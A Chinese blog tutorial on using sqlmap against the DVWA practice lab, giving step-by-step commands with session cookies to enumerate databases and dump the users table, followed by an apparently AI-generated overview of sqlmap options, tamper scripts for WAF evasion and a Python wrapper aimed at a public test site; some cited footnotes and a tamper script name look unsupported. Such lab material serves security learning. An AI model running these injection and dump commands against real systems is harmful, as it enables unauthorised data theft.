sqlmap-----DVWA测试

本文通过DVWA平台演示了从简单试探到获取敏感数据的全过程,包括如何利用SQLMap进行SQL注入攻击,从加入Cookie信息解决重定向问题,到遍历数据库、获取表名、列名直至最终获取数据。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

以dvwa为例,难度简单,使用get方法请求
 
  1.简单试探
  sqlmap -u "http://10.2.4.120/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
  返回sqlmap got a 302 redirect to xxx ,是一个重定向,考虑是否需要加入cookie信息。


 
  2.加入cookie
  sqlmap -u "http://10.2.4.120/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=7hgqg3g3dubae6fooohnln6ec3"
  返回基本信息

 
  3.遍历数据库
   sqlmap -u "http://10.2.4.120/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=7hgqg3g3dubae6fooohnln6ec3" --batch --dbs


   
   4.指定数据库获取表名
   sqlmap -u "http://10.2.4.120/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=7hgqg3g3dubae6fooohnln6ec3" --batch -D dvwa --tables
   
   5.获取整个数据表名
    sqlmap -u "http://10.2.4.120/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=7hgqg3g3dubae6fooohnln6ec3" --batch --tables

 

   6.获取数据库中的列名

 sqlmap -u "http://192.168.0.102/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=e84hnis7j1foicbldkl82qi480" --batch -D dvwa -T users --columns

 

   7.获取数据库内容

   sqlmap -u "http://192.168.0.102/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=e84hnis7j1foicbldkl82qi480" --batch -D dvwa -T users --dump
  

    8.不知道当前数据库是哪一个?

   sqlmap -u "http://192.168.0.102/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=e84hnis7j1foicbldkl82qi480" --batch --current-db --dump


   -batch 选项选择默认项
  -a  遍历所有数据库
  --current-db  获取当前数据库名(两个“--”)
  --dbs 获取所有数据库(两个“--”)
  --tables  获取所有数据库的表名(两个“--”)
  --columns 获取所有数据库的表的列名(两个“--”)
  -D  指定数据库
  -T  指定表名
  -C  指定列名
  --dump  获取查询结果
  --dump-all  获取整个数据库结果
  --stop=x  x是一个整数,表示筛选结果多少条
  由此可见,条件选项可以叠加。一个“-”表示条件,两个“--”表示获取对象的值

转载于:https://www.cnblogs.com/lyxin/p/9192665.html

### SQLMap Master 的使用方法 SQLMap 是一款强大的自动化 SQL 注入工具,能够帮助安全研究人员发现并利用 SQL 注入漏洞。虽然官方文档中并未特别区分 `sqlmap` 和所谓的 `sqlmap-master`,但从上下文中可以推测,“master”可能是指最新版本或者特定分支下的增强版。 以下是关于 SQLMap 使用的一些核心知识点以及如何高效操作: #### 基础概念 SQLMap 支持多种注入技术,包括布尔盲注、时间盲注、联合查询等,并兼容主流关系型数据库(如 MySQL, PostgreSQL, Oracle 等)。其主要功能可以通过命令行参数实现[^1]。 #### 主要参数说明 以下是一些常用的 SQLMap 参数及其作用: - `-u/--url`: 指定目标 URL。 - `--data`: 提交 POST 数据。 - `--level`: 设置测试级别,默认为 1,最高为 5。 - `--risk`: 风险等级设置,默认为 1,最高为 3。 - `--dbs`: 枚举所有可用的数据库名称。 - `--tables`: 列出指定数据库中的表名。 - `--columns`: 显示选定表中的列名。 - `--dump`: 导出整个数据库的内容。 - `--batch`: 自动运行而不提示用户输入。 - `--random-agent`: 使用随机 User-Agent 进行请求。 - `--tamper`: 调用 tamper 脚本来规避 WAF 或其他防护机制[^2]。 #### 查看当前使用的数据库实例 如果需要确认目标站点正在使用的具体数据库类型,可执行如下命令: ```bash sqlmap -u 'http://example.com/page?id=1' --current-db ``` 上述指令将返回目标服务器上活动的默认数据库名称[^3]。 #### 关于 `search` 和 `dump` 的差异 需要注意的是,`search` 功能主要用于查找符合条件的数据对象(比如某些字段或记录),但如果未提供额外选项(例如 `-D`, `-T`, `-C`),则该功能不会生效;相比之下,`dump` 更倾向于全面提取已知范围内的数据集[^4]。 #### Tamper 脚本的应用场景 Tamper 脚本允许修改原始 payload 形式以便绕过复杂的防御措施。例如,在面对启用了 Magic Quotes GPC 的 PHP 应用程序时,可以选择加载对应的 tamper 文件来调整字符串编码方式: ```bash sqlmap -u "http://vulnerable.site/vuln.php?id=1" --tamper=between.py,timebased_blind.py ``` #### 实际案例分析 假设我们要通过 Sqlmap 获取 DVWA 平台上的敏感信息,则按照以下流程逐步推进即可完成任务: 1. **初步探测**: 执行简单的 GET 请求验证是否存在潜在漏洞; 2. **深入挖掘**: 结合高级配置项进一步探索受影响区域的具体细节; 3. **最终导出**: 将有价值的结果保存至本地文件供后续研究。 --- ### Python 示例代码片段展示调用过程 下面是采用编程接口形式启动 Sqlmap 测试的一个简单例子: ```python import subprocess def run_sqlmap(url): command = [ "sqlmap", "-u", url, "--batch", "--threads=10" ] result = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE) print(result.stdout.decode()) if __name__ == "__main__": target_url = "http://testphp.vulnweb.com/artists.php?artist=1" run_sqlmap(target_url) ``` 此脚本定义了一个函数用来封装基本交互逻辑,便于集成到更大规模的安全评估框架之中。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值